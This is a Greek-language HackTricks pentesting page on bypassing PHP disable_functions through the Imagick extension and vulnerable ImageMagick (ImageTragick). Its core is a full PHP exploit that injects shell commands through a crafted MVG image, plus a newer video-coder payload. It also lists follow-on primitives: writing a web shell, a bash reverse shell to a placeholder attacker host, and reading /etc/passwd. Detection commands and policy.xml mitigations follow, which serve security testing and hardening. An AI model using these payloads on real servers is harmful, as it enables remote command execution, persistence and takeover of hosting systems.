Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Η γνωστή οικογένεια σφαλμάτων ImageTragick (CVE-2016-3714 κ.ά.) επιτρέπει σε έναν επιτιθέμενο να αποκτήσει πρόσβαση στο υποκείμενο δυαδικό αρχείο ImageMagick μέσω κατεργασμένων εισόδων MVG/SVG. Όταν η επέκταση PHP Imagick είναι παρούσα, αυτό μπορεί να εκμεταλλευτεί για την εκτέλεση εντολών shell, ακόμη και αν κάθε συνάρτηση PHP που σχετίζεται με την εκτέλεση είναι στη μαύρη λίστα με
disable_functions
.Το αρχικό PoC που δημοσιεύθηκε από τον RicterZ (Chaitin Security Research Lab) τον Μάιο του 2016 αναπαράγεται παρακάτω. Η τεχνική συναντάται ακόμη τακτικά κατά τη διάρκεια σύγχρονων ελέγχων PHP 7/8, επειδή πολλοί πάροχοι κοινής φιλοξενίας απλώς συντάσσουν την PHP χωρίς
exec
/system
αλλά διατηρούν έναν παρωχημένο συνδυασμό Imagick + ImageMagick.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Γιατί λειτουργεί;
Imagick::readImage()
δημιουργεί διαφανώς το ImageMagick delegate (convert
/magick
) δυαδικό αρχείο.- Το σενάριο MVG ορίζει το fill σε μια εξωτερική URI. Όταν εισαχθεί ένα διπλό εισαγωγικό (
"
), το υπόλοιπο της γραμμής ερμηνεύεται από το/bin/sh ‑c
που χρησιμοποιεί εσωτερικά το ImageMagick → αυθαίρετη εκτέλεση κελύφους. - Όλα συμβαίνουν εκτός του ερμηνευτή PHP, επομένως οι
disable_functions
, open_basedir,safe_mode
(καταργήθηκε στην PHP 5.4) και παρόμοιους περιορισμούς εντός διαδικασίας παρακάμπτονται εντελώς.
Κατάσταση 2025 – είναι ακόμα σχετική
- Οποιαδήποτε έκδοση Imagick που βασίζεται σε μια ευάλωτη υποδομή ImageMagick παραμένει εκμεταλλεύσιμη. Σε εργαστηριακές δοκιμές, το ίδιο payload λειτουργεί σε PHP 8.3 με Imagick 3.7.0 και ImageMagick 7.1.0-51 που έχει μεταγλωττιστεί χωρίς σκληρυμένο
policy.xml
. - Από το 2020 έχουν βρεθεί αρκετές επιπλέον διαδρομές εκτέλεσης εντολών (
video:pixel-format
,ps:
,text:
coders…). Δύο πρόσφατα δημόσια παραδείγματα είναι: - CVE-2020-29599 – εκτέλεση κελύφους μέσω του text: coder.
- GitHub issue #6338 (2023) – εισαγωγή στον video: delegate.
Εάν το λειτουργικό σύστημα παρέχει το ImageMagick < 7.1.1-11 (ή 6.x < 6.9.12-73) χωρίς περιοριστικό αρχείο πολιτικής, η εκμετάλλευση είναι απλή.
Σύγχρονες παραλλαγές payload
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Άλλες χρήσιμες πρωτογενείς κατά τη διάρκεια CTFs / πραγματικών εμπλοκών:
- File write –
... > /var/www/html/shell.php
(γράψτε web-shell έξω από open_basedir) - Reverse shell –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Enumerate –
id; uname -a; cat /etc/passwd
Γρήγορη ανίχνευση & καταμέτρηση
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
Αν η έξοδος δείχνει ότι οι κωδικοποιητές MVG
ή URL
είναι ενεργοποιημένοι, ο στόχος είναι πιθανό να είναι εκμεταλλεύσιμος.
Mitigations
- Patch/Upgrade – Χρησιμοποιήστε το ImageMagick ≥ 7.1.1-11 (ή την τελευταία 6.x LTS) και το Imagick ≥ 3.7.2.
- Harden
policy.xml
– ρητά απενεργοποιήστε τους κωδικοποιητές υψηλού κινδύνου:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Remove the extension σε μη αξιόπιστα περιβάλλοντα φιλοξενίας. Στις περισσότερες στοίβες ιστού, το
GD
ή τοImagick
δεν απαιτείται αυστηρά. - Αντιμετωπίστε το
disable_functions
μόνο ως άμυνα σε βάθος – ποτέ ως κύριο μηχανισμό απομόνωσης.
References
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.